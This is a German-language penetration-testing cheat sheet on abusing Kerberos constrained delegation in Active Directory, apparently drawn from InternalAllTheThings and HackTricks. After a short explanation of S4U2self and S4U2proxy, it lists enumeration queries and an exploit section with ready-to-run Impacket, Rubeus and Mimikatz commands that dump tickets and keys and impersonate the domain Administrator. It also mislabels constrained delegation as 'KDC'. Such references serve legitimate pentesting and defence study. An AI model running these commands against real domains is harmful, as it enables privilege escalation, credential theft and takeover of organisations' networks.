Die Kerberos Constrained Delegation (KDC) ist ein Sicherheitsfeature, welche es einem Service erlaubt sich als anderer Service oder Nutzer auszugeben um für diesen Nutzer auf Resourcen zuzugreifen.
- Service for User to self (S4U2self): hat ein Service einen userAccountControl wert der
TRUSTED_TO_AUTH_FOR_DELEGATION(T2A4D) enthält, kann dieser ein TGS für sich selbst im Namen eines anderen Users bekommen. - Service for User to Proxy (S4U2proxy): Ein Service Account kann ein TGS für jeden User zu jedem Service spezifiziert in
msDS-AllowedToDelegateToerhalten. Dafür benötigt, der Service ein TGS von dem Nutzer zu sich selbst. Dafür kann S4U2self genutzt werden.[!info] Info Ist der Benutzer Account markiert als
Account is sensitive and cannot be delegatedkann sich nicht als dieser ausgegeben werden.
Das bedeutet, dass, ein kompromittieren des hashes des services, die möglichkeit gibt sich als ein anderer Nutzer auszugeben. Dadurch ist es möglich mit den Rechten des Nutzers auf bestimmte Ressourcen zuzugreifen. Dadurch wird nicht nur Zugriff zu dem Service gewährt für den der Benutzer sich ausgeben kann, sondern zu jedem beliebigen Service. Dies ist möglich, da der angeforderte SPN (Service name requested) nicht geprüft wird, sondern nur die Berechtigungen.
Identifikation
Bloodhound
MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
Get-DomainComputer -TrustedToAuth | select -exp dnshostname
Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
bloodyAD -u user -p 'Password' -d <DOMAIN> --host <IP> get search --filter (&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))' --attr sAMAccountName,msds-allowedtodelegateto
Exploit
Impacket
-
getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10 -
Rubeus: S4U2 attack (S4U2self + S4U2proxy)
-
``` # with a password Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password"
with a NT hash
Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:time/srv01.domain.com /altservice:cifs /ptt Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt dir \dc.domain.com\c$ ```
-
Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator"
-
``` # Dump ticket Rubeus.exe tgtdeleg /nowrap Rubeus.exe triage Rubeus.exe dump /luid:0x12d1f7
Create a ticket
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt ```
-
Rubeus : using aes256 keys
# Get aes256 keys of the machine account
privilege::debug
token::elevate
sekurlsa::ekeys
# Create a ticket
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /user:win10x64$ /aes256:4b55f...fd82 /ptt
Quelle
https://swisskyrepo.github.io/InternalAllTheThings/active-directory/kerberos-delegation-constrained/#identify-a-constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/constrained-delegation